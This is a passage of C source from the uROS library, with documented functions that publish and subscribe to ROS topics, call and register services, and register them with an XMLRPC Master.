"http://"UROS_XMLRPC_LISTENER_IP_SZ ":"UROS_STRINGIFY2(UROS_XMLRPC_LISTENER_PORT)); cfgp->tcprosAddr.ip.dword = UROS_TCPROS_LISTENER_IP; cfgp->tcprosAddr.port = UROS_TCPROS_LISTENER_PORT; cfgp->tcprosUri = urosStringCloneZ( "rosrpc://"UROS_TCPROS_LISTENER_IP_SZ ":"UROS_STRINGIFY2(UROS_TCPROS_LISTENER_PORT)); cfgp->masterAddr.ip.dword = UROS_XMLRPC_MASTER_IP; cfgp->masterAddr.port = UROS_XMLRPC_MASTER_PORT; cfgp->masterUri = urosStringCloneZ( "http://"UROS_XMLRPC_MASTER_IP_SZ ":"UROS_STRINGIFY2(UROS_XMLRPC_MASTER_PORT)); } /** * @brief Publishes a topic. * @details Issues a @p publishTopic() call to the XMLRPC Master. * @see urosRpcCallRegisterPublisher() * @see urosNodePublishTopicByDesc() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * publish/unpublish any topics. * * @pre The topic is not published. * @pre The TCPROS @p service flag must be clear. * * @param[in] namep * Pointer to the topic name string. * @param[in] typep * Pointer to the topic message type name string. * @param[in] procf * Topic handler function. * @param[in] flags * Topic flags. * @return * Error code. */ uros_err_t urosNodePublishTopic(const UrosString *namep, const UrosString *typep, uros_proc_f procf, uros_topicflags_t flags) { static UrosNode *const np = &urosNode; UrosTopic *topicp; const UrosMsgType *statictypep; UrosListNode *topicnodep; uros_err_t err; urosAssert(urosStringNotEmpty(namep)); urosAssert(urosStringNotEmpty(typep)); urosAssert(procf != NULL); urosAssert(!flags.service); /* Get the registered message type.*/ statictypep = urosFindStaticMsgType(typep); urosError(statictypep == NULL, return UROS_ERR_BADPARAM, ("Unknown message type [%.*s]\n", UROS_STRARG(typep))); /* Check if the topic already exists.*/ urosMutexLock(&np->status.pubTopicListLock); topicnodep = urosTopicListFindByName(&np->status.pubTopicList, namep); urosMutexUnlock(&np->status.pubTopicListLock); urosError(topicnodep != NULL, return UROS_ERR_BADPARAM, ("Topic [%.*s] already published\n", UROS_STRARG(namep))); /* Create a new topic descriptor.*/ topicp = urosNew(NULL, UrosTopic); if (topicp == NULL) { return UROS_ERR_NOMEM; } urosTopicObjectInit(topicp); topicp->name = urosStringClone(namep); topicp->typep = statictypep; topicp->procf = procf; topicp->flags = flags; /* Publish the topic.*/ err = urosNodePublishTopicByDesc(topicp); if (err != UROS_OK) { urosTopicDelete(topicp); } return err; } /** * @brief Publishes a topic. * @details Issues a @p publishTopic() call to the XMLRPC Master. * @see urosRpcCallRegisterPublisher() * @see urosNodePublishTopicByDesc() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * publish/unpublish any topics. * * @pre The topic is not published. * @pre The TPCROS @p service flag must be clear. * * @param[in] namep * Pointer to the topic name null-terminated string. * @param[in] typep * Pointer to the topic message type name null-terminated string. * @param[in] procf * Topic handler function. * @param[in] flags * Topic flags. * @return * Error code. */ uros_err_t urosNodePublishTopicSZ(const char *namep, const char *typep, uros_proc_f procf, uros_topicflags_t flags) { UrosString namestr, typestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); urosAssert(typep != NULL); urosAssert(typep[0] != 0); urosAssert(procf != NULL); urosAssert(!flags.service); namestr = urosStringAssignZ(namep); typestr = urosStringAssignZ(typep); return urosNodePublishTopic(&namestr, &typestr, procf, flags); } /** * @brief Publishes a topic by its descriptor. * @details Issues a @p publishTopic() call to the XMLRPC Master. * @see urosRpcCallRegisterPublisher() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * publish/unpublish any topics. * * @pre The topic is not published. * @pre The topic descriptor must have the @p service flag set to @p 0. * @post The topic descriptor is used the following way: * - If successful, the topic descriptor is referenced by the topic * registry, and is no longer modifiable by the caller function. * - If unsuccessful, the topic descriptor can be deallocated by the * caller function. * @pre The TCPROS @p service flag must be clear. * * @param[in] topicp * Pointer to the topic descriptor to be published and registered. * @return * Error code. */ uros_err_t urosNodePublishTopicByDesc(UrosTopic *topicp) { static UrosNode *const np = &urosNode; UrosRpcResponse res; uros_err_t err; UrosListNode *nodep; urosAssert(topicp != NULL); urosAssert(urosStringNotEmpty(&topicp->name)); urosAssert(topicp->typep != NULL); urosAssert(urosStringNotEmpty(&topicp->typep->name)); urosAssert(topicp->procf != NULL); urosAssert(!topicp->flags.service); urosAssert(topicp->refcnt == 0); urosAssert(topicp->refcnt == 0); urosRpcResponseObjectInit(&res); urosMutexLock(&np->status.pubTopicListLock); /* Master XMLRPC registerPublisher() */ err = urosRpcCallRegisterPublisher( &np->config.masterAddr, &np->config.nodeName, &topicp->name, &topicp->typep->name, &np->config.xmlrpcUri, &res ); urosError(err != UROS_OK, goto _finally, ("Error %s while registering as publisher of topic [%.*s]\n", urosErrorText(err), UROS_STRARG(&topicp->name))); /* Check for valid codes.*/ urosError(res.code != UROS_RPCC_SUCCESS, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response code %d, expected %d\n", res.code, UROS_RPCC_SUCCESS)); urosError(res.httpcode != 200, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response HTTP code %d, expected 200\n", res.httpcode)); /* Add to the published topics list.*/ nodep = urosNew(NULL, UrosListNode); if (nodep == NULL) { err = UROS_ERR_NOMEM; goto _finally; } urosListNodeObjectInit(nodep); nodep->datap = (void*)topicp; urosListAdd(&np->status.pubTopicList, nodep); err = UROS_OK; _finally: /* Cleanup and return.*/ urosMutexUnlock(&np->status.pubTopicListLock); urosRpcResponseClean(&res); return err; } /** * @brief Unpublishes a topic. * @details Issues an @p unpublishTopic() call to the XMLRPC Master. * @see urosRpcCallUnregisterPublisher() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * publish/unpublish any topics. * * @pre The topic is published. * @post If successful, the topic descriptor is dereferenced by the topic * registry, and will be freed: * - by this function, if there are no publishing TCPROS threads, or * - by the last publishing TCPROS thread which references the topic. * * @param[in] namep * Pointer to a string which names the topic. * @return * Error code. */ uros_err_t urosNodeUnpublishTopic(const UrosString *namep) { static UrosNode *const np = &urosNode; UrosListNode *tcprosnodep, *topicnodep; UrosTopic *topicp; uros_err_t err; UrosRpcResponse res; urosAssert(urosStringNotEmpty(namep)); /* Find the topic descriptor.*/ urosMutexLock(&np->status.pubTopicListLock); topicnodep = urosTopicListFindByName(&np->status.pubTopicList, namep); if (topicnodep == NULL) { urosError(topicnodep == NULL, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Topic [%.*s] not published\n", UROS_STRARG(namep))); } topicp = (UrosTopic*)topicnodep->datap; /* Unregister the topic on the Master node.*/ err = urosRpcCallUnregisterPublisher( &np->config.masterAddr, &np->config.nodeName, namep, &np->config.xmlrpcUri, &res ); urosError(err != UROS_OK, UROS_NOP, ("Error %s while unregistering as publisher of topic [%.*s]\n", urosErrorText(err), UROS_STRARG(namep))); /* Unregister the topic locally.*/ topicp->flags.deleted = UROS_TRUE; tcprosnodep = urosListRemove(&np->status.pubTopicList, topicnodep); urosAssert(tcprosnodep == topicnodep); if (topicp->refcnt > 0) { /* Tell each publishing TCPROS thread to exit.*/ urosMutexLock(&np->status.pubTcpListLock); for (tcprosnodep = np->status.pubTcpList.headp; tcprosnodep != NULL; tcprosnodep = tcprosnodep->nextp) { UrosTcpRosStatus *tcpstp = (UrosTcpRosStatus*)tcprosnodep->datap; if (tcpstp->topicp == topicp && !tcpstp->topicp->flags.service) { urosMutexLock(&tcpstp->threadExitMtx); tcpstp->threadExit = UROS_TRUE; urosMutexUnlock(&tcpstp->threadExitMtx); } } urosMutexUnlock(&np->status.pubTcpListLock); /* NOTE: The last exiting thread freeds the topic descriptor.*/ } else { /* No TCPROS connections, just free the descriptor immediately.*/ urosListNodeDelete(topicnodep, (uros_delete_f)urosTopicDelete); } _finally: urosMutexUnlock(&np->status.pubTopicListLock); return err; } /** * @brief Unpublishes a topic. * @details Issues an @p unpublishTopic() call to the XMLRPC Master. * @see urosRpcCallUnregisterPublisher() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * publish/unpublish any topics. * * @pre The topic is published. * @post If successful, the topic descriptor is dereferenced by the topic * registry, and will be freed: * - by this function, if there are no publishing TCPROS threads, or * - by the last publishing TCPROS thread which references the topic. * * @param[in] namep * Pointer to a null-terminated string which names the topic. * @return * Error code. */ uros_err_t urosNodeUnpublishTopicSZ(const char *namep) { UrosString namestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); namestr = urosStringAssignZ(namep); return urosNodeUnpublishTopic(&namestr); } /** * @brief Subscribes to a topic. * @details Issues a @p registerSubscriber() call to the XMLRPC Master, and * connects to known publishers. * @see urosNodeSubscribeTopicByDesc() * @see urosRpcCallRegisterSubscriber() * @see urosNodeFindNewPublishers() * @see urosRpcSlaveConnectToPublishers() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * subscribe/unsubscribe to any topics. * * @pre The topic is not subscribed. * @post Connects to known publishers listed by a successful response. * @pre The TCPROS @p service flag must be clear. * * @param[in] namep * Pointer to the topic name string. * @param[in] typep * Pointer to the topic message type name string. * @param[in] procf * Topic handler function. * @param[in] flags * Topic flags. * @return * Error code. */ uros_err_t urosNodeSubscribeTopic(const UrosString *namep, const UrosString *typep, uros_proc_f procf, uros_topicflags_t flags) { static UrosNode *const np = &urosNode; UrosTopic *topicp; const UrosMsgType *statictypep; UrosListNode *topicnodep; uros_err_t err; urosAssert(urosStringNotEmpty(namep)); urosAssert(urosStringNotEmpty(typep)); urosAssert(procf != NULL); urosAssert(!flags.service); /* Get the registered message type.*/ statictypep = urosFindStaticMsgType(typep); urosError(statictypep == NULL, return UROS_ERR_BADPARAM, ("Unknown message type [%.*s]\n", UROS_STRARG(typep))); /* Check if the topic already exists.*/ urosMutexLock(&np->status.subTopicListLock); topicnodep = urosTopicListFindByName(&np->status.subTopicList, namep); urosMutexUnlock(&np->status.subTopicListLock); urosError(topicnodep != NULL, return UROS_ERR_BADPARAM, ("Topic [%.*s] already subscribed\n", UROS_STRARG(namep))); /* Create a new topic descriptor.*/ topicp = urosNew(NULL, UrosTopic); if (topicp == NULL) { return UROS_ERR_NOMEM; } urosTopicObjectInit(topicp); topicp->name = urosStringClone(namep); topicp->typep = statictypep; topicp->procf = procf; topicp->flags = flags; /* Subscribe to the topic.*/ err = urosNodeSubscribeTopicByDesc(topicp); if (err != UROS_OK) { urosTopicDelete(topicp); } return err; } /** * @brief Subscribes to a topic. * @details Issues a @p registerSubscriber() call to the XMLRPC Master, and * connects to known publishers. * @see urosNodeSubscribeTopicByDesc() * @see urosRpcCallRegisterSubscriber() * @see urosNodeFindNewPublishers() * @see urosRpcSlaveConnectToPublishers() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * subscribe/unsubscribe to any topics. * * @pre The topic is not subscribed. * @post Connects to known publishers listed by a successful response. * @pre The TCPROS @p service flag must be clear. * * @param[in] namep * Pointer to the topic name null-terminated string. * @param[in] typep * Pointer to the topic message type name null-terminated string. * @param[in] procf * Topic handler function. * @param[in] flags * Topic flags. * @return * Error code. */ uros_err_t urosNodeSubscribeTopicSZ(const char *namep, const char *typep, uros_proc_f procf, uros_topicflags_t flags) { UrosString namestr, typestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); urosAssert(typep != NULL); urosAssert(typep[0] != 0); urosAssert(procf != NULL); urosAssert(!flags.service); namestr = urosStringAssignZ(namep); typestr = urosStringAssignZ(typep); return urosNodeSubscribeTopic(&namestr, &typestr, procf, flags); } /** * @brief Subscribes to a topic by its descriptor. * @details Issues a @p registerSubscriber() call to the XMLRPC Master, and * connects to known publishers. * @see urosRpcCallRegisterSubscriber() * @see urosNodeFindNewPublishers() * @see urosRpcSlaveConnectToPublishers() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * subscribe/unsubscribe to any topics. * * @pre The topic is not subscribed. * @pre The topic descriptor must have the @p service flag set to @p 0. * @post The topic descriptor is used the following way: * - If successful, the topic descriptor is referenced by the topic * registry, and is no longer modifiable by the caller function. * - If unsuccessful, the topic descriptor can be deallocated by the * caller function. * @post Connects to known publishers listed by a successful response. * @pre The TCPROS @p service flag must be clear. * * @param[in] topicp * Pointer to the topic descriptor to be subscribed to and registered. * @return * Error code. */ uros_err_t urosNodeSubscribeTopicByDesc(UrosTopic *topicp) { static UrosNode *const np = &urosNode; UrosRpcResponse res; uros_err_t err; UrosList newpubs; UrosListNode *nodep; urosAssert(topicp != NULL); urosAssert(urosStringNotEmpty(&topicp->name)); urosAssert(topicp->typep != NULL); urosAssert(urosStringNotEmpty(&topicp->typep->name)); urosAssert(topicp->procf != NULL); urosAssert(!topicp->flags.service); urosAssert(topicp->refcnt == 0); urosRpcResponseObjectInit(&res); urosListObjectInit(&newpubs); urosMutexLock(&np->status.subTopicListLock); /* Master XMLRPC registerSubscriber() */ err = urosRpcCallRegisterSubscriber( &np->config.masterAddr, &np->config.nodeName, &topicp->name, &topicp->typep->name, &np->config.xmlrpcUri, &res ); urosError(err != UROS_OK, goto _finally, ("Cannot register as subscriber of topic [%.*s]\n", UROS_STRARG(&topicp->name))); /* Check for valid codes.*/ urosError(res.code != UROS_RPCC_SUCCESS, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response code %d, expected %d\n", res.code, UROS_RPCC_SUCCESS)); urosError(res.httpcode != 200, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response HTTP code %d, expected 200\n", res.httpcode)); /* Connect to registered publishers.*/ err = urosNodeFindNewTopicPublishers(&topicp->name, res.valuep, &newpubs); urosError(err != UROS_OK, goto _finally, ("Error %s while finding new publishers of topic [%.*s]\n", urosErrorText(err), UROS_STRARG(&topicp->name))); urosRpcResponseClean(&res); err = urosRpcSlaveConnectToPublishers(&topicp->name, &newpubs); urosError(err != UROS_OK, goto _finally, ("Error %s while connecting to new publishers of topic [%.*s]\n", urosErrorText(err), UROS_STRARG(&topicp->name))); /* Add to the subscribed topics list.*/ nodep = urosNew(NULL, UrosListNode); if (nodep == NULL) { err = UROS_ERR_NOMEM; goto _finally; } urosListNodeObjectInit(nodep); nodep->datap = (void*)topicp; urosListAdd(&np->status.subTopicList, nodep); err = UROS_OK; _finally: /* Cleanup and return.*/ urosMutexUnlock(&np->status.subTopicListLock); urosListClean(&newpubs, (uros_delete_f)urosFree); urosRpcResponseClean(&res); return err; } /** * @brief Unsubscribes to a topic. * @details Issues an @p unregisterSubscriber() call to the XMLRPC Master. * @see urosRpcCallUnregisterSubscriber() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * publish/unpublish any topics. * * @pre The topic is published. * @post If successful, the topic descriptor is dereferenced by the topic * registry, and will be freed: * - by this function, if there are no subscribing TCPROS threads, or * - by the last subscribing TCPROS thread which references the topic. * * @param[in] namep * Pointer to a string which names the topic. * @return * Error code. */ uros_err_t urosNodeUnsubscribeTopic(const UrosString *namep) { static UrosNode *const np = &urosNode; UrosListNode *tcprosnodep, *topicnodep; UrosTopic *topicp; UrosTcpRosStatus *tcpstp; uros_err_t err; UrosRpcResponse res; urosAssert(urosStringNotEmpty(namep)); /* Find the topic descriptor.*/ urosMutexLock(&np->status.subTopicListLock); topicnodep = urosTopicListFindByName(&np->status.subTopicList, namep); if (topicnodep == NULL) { urosError(topicnodep == NULL, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Topic [%.*s] not subscribed\n", UROS_STRARG(namep))); } topicp = (UrosTopic*)topicnodep->datap; /* Unregister the topic on the Master node.*/ err = urosRpcCallUnregisterSubscriber( &np->config.masterAddr, &np->config.nodeName, namep, &np->config.xmlrpcUri, &res ); urosError(err != UROS_OK, UROS_NOP, ("Error %s while unregistering as subscriber of topic [%.*s]\n", urosErrorText(err), UROS_STRARG(namep))); /* Unregister the topic locally.*/ topicp->flags.deleted = UROS_TRUE; tcprosnodep = urosListRemove(&np->status.subTopicList, topicnodep); urosAssert(tcprosnodep == topicnodep); if (topicp->refcnt > 0) { /* Tell each subscribing TCPROS thread to exit.*/ urosMutexLock(&np->status.subTcpListLock); for (tcprosnodep = np->status.subTcpList.headp; tcprosnodep != NULL; tcprosnodep = tcprosnodep->nextp) { tcpstp = (UrosTcpRosStatus*)tcprosnodep->datap; if (tcpstp->topicp == topicp && !tcpstp->topicp->flags.service) { urosMutexLock(&tcpstp->threadExitMtx); tcpstp->threadExit = UROS_TRUE; urosMutexUnlock(&tcpstp->threadExitMtx); } } urosMutexUnlock(&np->status.subTcpListLock); /* NOTE: The last exiting thread freeds the topic descriptor.*/ } else { /* No TCPROS connections, just free the descriptor immediately.*/ urosListNodeDelete(topicnodep, (uros_delete_f)urosTopicDelete); } _finally: urosMutexUnlock(&np->status.subTopicListLock); return err; } /** * @brief Unsubscribes to a topic. * @details Issues an @p unregisterSubscriber() call to the XMLRPC Master. * @see urosRpcCallUnregisterSubscriber() * @warning The access to the topic registry is thread-safe, but delays of the * XMLRPC communication will delay also any other threads trying to * publish/unpublish any topics. * * @pre The topic is published. * @post If successful, the topic descriptor is dereferenced by the topic * registry, and will be freed: * - by this function, if there are no subscribing TCPROS threads, or * - by the last subscribing TCPROS thread which references the topic. * * @param[in] namep * Pointer to a null-terminated string which names the topic. * @return * Error code. */ uros_err_t urosNodeUnsubscribeTopicSZ(const char *namep) { UrosString namestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); namestr = urosStringAssignZ(namep); return urosNodeUnsubscribeTopic(&namestr); } /** * @brief Executes a service call. * @details Gets the service URI from the Master node. If found, it executes * the service call once, and the result is returned. * @note Only a @e single call will be executed. Persistent TCPROS service * connections need custom handlers. * * @pre The TCPROS @p service flag must be set, @p persistent clear. * * @param[in] namep * Pointer to the service name string. * @param[in] typep * Pointer to the service type name string. * @param[in] callf * Service call handler. * @param[in] flags * TCPROS flags. The @p service flag must be set, and @p persistent * must be clear. * @param[out] resobjp * Pointer to the allocated response object. The service result will * be written there only if the call is successful. * @return * Error code. */ uros_err_t urosNodeCallService(const UrosString *namep, const UrosString *typep, uros_tcpsrvcall_t callf, uros_topicflags_t flags, void *resobjp) { UrosTopic service; UrosAddr pubaddr; const UrosMsgType *statictypep; uros_err_t err; urosAssert(urosStringNotEmpty(namep)); urosAssert(urosStringNotEmpty(typep)); urosAssert(callf != NULL); urosAssert(flags.service); urosAssert(!flags.persistent); urosAssert(resobjp != NULL); /* Get the registered message type.*/ statictypep = urosFindStaticSrvType(typep); urosError(statictypep == NULL, return UROS_ERR_BADPARAM, ("Unknown service type [%.*s]\n", UROS_STRARG(typep))); /* Resolve the service provider.*/ err = urosNodeResolveServicePublisher(namep, &pubaddr); if (err != UROS_OK) { return err; } /* Call the client service handler.*/ urosTopicObjectInit(&service); service.name = *namep; service.typep = statictypep; service.procf = (uros_proc_f)callf; service.flags = flags; return urosTcpRosCallService(&pubaddr, &service, resobjp); } /** * @brief Executes a service call. * @details Gets the service URI from the Master node. If found, it executes * the service call once, and the result is returned. * @note Only a @e single call will be executed. Persistent TCPROS service * connections need custom handlers. * * @pre The TCPROS @p service flag must be set, @p persistent clear. * * @param[in] namep * Pointer to the service name null-terminated string. * @param[in] typep * Pointer to the service type name null-terminated string. * @param[in] callf * Service call handler. * @param[in] flags * TCPROS flags. The @p service flag must be set, and @p persistent * must be clear. * @param[out] resobjp * Pointer to the allocated response object. The service result will * be written there only if the call is successful. * @return * Error code. */ uros_err_t urosNodeCallServiceSZ(const char *namep, const char *typep, uros_tcpsrvcall_t callf, uros_topicflags_t flags, void *resobjp) { UrosTopic service; UrosAddr pubaddr; const UrosMsgType *statictypep; uros_err_t err; urosAssert(namep != NULL); urosAssert(namep[0] != 0); urosAssert(typep != NULL); urosAssert(typep[0] != 0); urosAssert(callf != NULL); urosAssert(flags.service); urosAssert(!flags.persistent); urosAssert(resobjp != NULL); /* Get the registered message type.*/ statictypep = urosFindStaticSrvTypeSZ(typep); urosError(statictypep == NULL, return UROS_ERR_BADPARAM, ("Unknown service type [%s]\n", typep)); /* Resolve the service provider.*/ urosTopicObjectInit(&service); service.name = urosStringAssignZ(namep); err = urosNodeResolveServicePublisher(&service.name, &pubaddr); if (err != UROS_OK) { return err; } /* Call the client service handler.*/ service.typep = statictypep; service.procf = (uros_proc_f)callf; service.flags = flags; return urosTcpRosCallService(&pubaddr, &service, resobjp); } /** * @brief Executes a service call. * @details Gets the service URI from the Master node. If found, it executes * the service call once, and the result is returned. * @note Only a @e single call will be executed. Persistent TCPROS service * connections need custom handlers. * * @pre @p servicep->procf must address a @p uros_tcpsrvcall_t function. * @pre The TCPROS @p service flag must be set, @p persistent clear. * * @param[in] servicep * Pointer to the service descriptor. * @param[out] resobjp * Pointer to the allocated response object. The service result will * be written there only if the call is successful. * @return * Error code. */ uros_err_t urosNodeCallServiceByDesc(const UrosTopic *servicep, void *resobjp) { UrosAddr pubaddr; uros_err_t err; urosAssert(servicep != NULL); urosAssert(urosStringNotEmpty(&servicep->name)); urosAssert(servicep->typep != NULL); urosAssert(urosStringNotEmpty(&servicep->typep->name)); urosAssert(servicep->procf != NULL); urosAssert(servicep->flags.service); urosAssert(!servicep->flags.persistent); urosAssert(resobjp != NULL); /* Resolve the service provider.*/ err = urosNodeResolveServicePublisher(&servicep->name, &pubaddr); if (err != UROS_OK) { return err; } /* Call the client service handler.*/ return urosTcpRosCallService(&pubaddr, servicep, resobjp); } /** * @brief Publishes a service. * @details Issues a @p registerService() call to the XMLRPC Master. * @warning The access to the service registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to publish/unpublish any services. * @see urosNodePublishServiceByDesc() * @see urosRpcCallRegisterService() * * @pre The service is not published. * @pre The TCPROS @p service flag must be set. * * @param[in] namep * Pointer to the service name string. * @param[in] typep * Pointer to the service type name string. * @param[in] procf * Service handler function. * @param[in] flags * Topic flags. * @return * Error code. */ uros_err_t urosNodePublishService(const UrosString *namep, const UrosString *typep, uros_proc_f procf, uros_topicflags_t flags) { static UrosNode *const np = &urosNode; UrosTopic *servicep; const UrosMsgType *statictypep; UrosListNode *servicenodep; uros_err_t err; urosAssert(urosStringNotEmpty(namep)); urosAssert(urosStringNotEmpty(typep)); urosAssert(procf != NULL); urosAssert(flags.service); /* Get the registered service type.*/ statictypep = urosFindStaticSrvType(typep); urosError(statictypep == NULL, return UROS_ERR_BADPARAM, ("Unknown message type [%.*s]\n", UROS_STRARG(typep))); /* Check if the service already exists.*/ urosMutexLock(&np->status.pubServiceListLock); servicenodep = urosTopicListFindByName(&np->status.pubServiceList, namep); urosMutexUnlock(&np->status.pubServiceListLock); urosError(servicenodep != NULL, return UROS_ERR_BADPARAM, ("Service [%.*s] already published\n", UROS_STRARG(namep))); /* Create a new topic descriptor.*/ servicep = urosNew(NULL, UrosTopic); if (servicep == NULL) { return UROS_ERR_NOMEM; } urosTopicObjectInit(servicep); servicep->name = urosStringClone(namep); servicep->typep = statictypep; servicep->procf = procf; servicep->flags = flags; /* Try to register the topic.*/ err = urosNodePublishServiceByDesc(servicep); if (err != UROS_OK) { urosTopicDelete(servicep); } return err; } /** * @brief Publishes a service. * @details Issues a @p registerService() call to the XMLRPC Master. * @warning The access to the service registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to publish/unpublish any services. * @see urosNodePublishServiceByDesc() * @see urosRpcCallRegisterService() * * @pre The service is not published. * @pre The TCPROS @p service flag must be set. * * @param[in] namep * Pointer to the service name null-terminated string. * @param[in] typep * Pointer to the service type name null-terminated string. * @param[in] procf * Service handler function. * @param[in] flags * Service flags. * @return * Error code. */ uros_err_t urosNodePublishServiceSZ(const char *namep, const char *typep, uros_proc_f procf, uros_topicflags_t flags) { UrosString namestr, typestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); urosAssert(typep != NULL); urosAssert(typep[0] != 0); urosAssert(procf != NULL); namestr = urosStringAssignZ(namep); typestr = urosStringAssignZ(typep); return urosNodePublishService(&namestr, &typestr, procf, flags); } /** * @brief Publishes a service by its descriptor. * @details Issues a @p registerService() call to the XMLRPC Master. * @warning The access to the service registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to publish/unpublish any services. * @see urosRpcCallRegisterService() * * @pre The TCPROS @p service flag must be set. * * @pre The service is not published. * @pre The service descriptor must have the @p service flag set to @p 1. * @post - If successful, the service descriptor is referenced by the * service registry, and is no longer modifiable by the caller * function. * - If unsuccessful, the service descriptor can be deallocated by the * caller function. * * @param[in] servicep * Pointer to the service descriptor to be published and registered. * @return * Error code. */ uros_err_t urosNodePublishServiceByDesc(const UrosTopic *servicep) { static UrosNode *const np = &urosNode; UrosRpcResponse res; uros_err_t err; UrosListNode *nodep; urosAssert(servicep != NULL); urosAssert(urosStringNotEmpty(&servicep->name)); urosAssert(servicep->typep != NULL); urosAssert(urosStringNotEmpty(&servicep->typep->name)); urosAssert(servicep->procf != NULL); urosAssert(servicep->flags.service); urosRpcResponseObjectInit(&res); urosMutexLock(&np->status.pubServiceListLock); /* Master XMLRPC registerPublisher() */ err = urosRpcCallRegisterService( &np->config.masterAddr, &np->config.nodeName, &servicep->name, &np->config.tcprosUri, &np->config.xmlrpcUri, &res ); urosError(err != UROS_OK, goto _finally, ("Cannot register service [%.*s]\n", UROS_STRARG(&servicep->name))); /* Check for valid codes.*/ urosError(res.code != UROS_RPCC_SUCCESS, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response code %d, expected %d\n", res.code, UROS_RPCC_SUCCESS)); urosError(res.httpcode != 200, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response HTTP code %d, expected 200\n", res.httpcode)); /* Add to the published topics list.*/ nodep = urosNew(NULL, UrosListNode); if (nodep == NULL) { err = UROS_ERR_NOMEM; goto _finally; } urosListNodeObjectInit(nodep); nodep->datap = (void*)servicep; urosListAdd(&np->status.pubServiceList, nodep); err = UROS_OK; _finally: /* Cleanup and return.*/ urosMutexUnlock(&np->status.pubServiceListLock); urosRpcResponseClean(&res); return err; } /** * @brief Unpublishes a service. * @details Issues an @p unregisterService() call to the XMLRPC Master. * @see urosRpcCallUnregisterService() * @warning The access to the service registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to publish/unpublish any services. * * @pre The service is published. * @post If successful, the service descriptor is dereferenced by the * service registry, and will be freed: * - by this function, if there are no publishing TCPROS threads, or * - by the last publishing TCPROS thread which references the * service. * * @param[in] namep * Pointer to a string which names the service. * @return * Error code. */ uros_err_t urosNodeUnpublishService(const UrosString *namep) { static UrosNode *const np = &urosNode; UrosListNode *tcprosnodep, *servicenodep; UrosTopic *servicep; uros_err_t err; UrosRpcResponse res; urosAssert(urosStringNotEmpty(namep)); /* Find the service descriptor.*/ urosMutexLock(&np->status.pubServiceListLock); servicenodep = urosTopicListFindByName(&np->status.pubServiceList, namep); urosError(servicenodep == NULL, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Service [%.*s] not published\n", UROS_STRARG(namep))); servicep = (UrosTopic*)servicenodep->datap; /* Unregister the service on the Master node.*/ err = urosRpcCallUnregisterService( &np->config.masterAddr, &np->config.nodeName, namep, &np->config.tcprosUri, &res ); urosError(err != UROS_OK, goto _finally, ("Error %s while unregistering as publisher of service [%.*s]\n", urosErrorText(err), UROS_STRARG(namep))); /* Unregister the service locally.*/ servicep->flags.deleted = UROS_TRUE; tcprosnodep = urosListRemove(&np->status.pubServiceList, servicenodep); urosAssert(tcprosnodep == servicenodep); if (np->status.pubTcpList.length > 0) { /* Tell each publishing TCPROS thread to exit.*/ urosMutexLock(&np->status.pubTcpListLock); for (tcprosnodep = np->status.pubTcpList.headp; tcprosnodep != NULL; tcprosnodep = tcprosnodep->nextp) { UrosTcpRosStatus *tcpstp = (UrosTcpRosStatus*)tcprosnodep->datap; if (tcpstp->topicp == servicep && tcpstp->topicp->flags.service) { urosMutexLock(&tcpstp->threadExitMtx); tcpstp->threadExit = UROS_TRUE; urosMutexUnlock(&tcpstp->threadExitMtx); } } urosMutexUnlock(&np->status.pubTcpListLock); /* NOTE: The last exiting thread freeds the service descriptor.*/ } else { /* No TCPROS connections, just free the descriptor immediately.*/ urosListNodeDelete(servicenodep, (uros_delete_f)urosTopicDelete); } _finally: urosMutexUnlock(&np->status.pubServiceListLock); return err; } /** * @brief Unpublishes a service. * @details Issues an @p unregisterService() call to the XMLRPC Master. * @see urosRpcCallUnregisterService() * @warning The access to the service registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to publish/unpublish any services. * * @pre The service is published. * @post If successful, the service descriptor is dereferenced by the * service registry, and will be freed: * - by this function, if there are no publishing TCPROS threads, or * - by the last publishing TCPROS thread which references the * service. * * @param[in] namep * Pointer to a null-terminated string which names the service. * @return * Error code. */ uros_err_t urosNodeUnpublishServiceSZ(const char *namep) { UrosString namestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); namestr = urosStringAssignZ(namep); return urosNodeUnpublishService(&namestr); } /** * @brief Subscribes to a parameter by its descriptor. * @details Issues a @p subscribeParam() call to the XMLRPC Master, and * connects to known publishers. * @see urosRpcCallSubscribeParam() * @see urosNodeSubscribeParamByDesc() * @warning The access to the parameter registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to subscribe/unsubscribe to any parameters. * * @pre The parameter has not been registered yet. * * @param[in] namep * Pointer to the parameter name string. * @return * Error code. */ uros_err_t urosNodeSubscribeParam(const UrosString *namep) { static UrosNode *const np = &urosNode; UrosString *clonednamep; UrosListNode *paramnodep; UrosRpcResponse res; UrosListNode *nodep; uros_err_t err; urosAssert(urosStringNotEmpty(namep)); /* Check if the parameter already exists.*/ 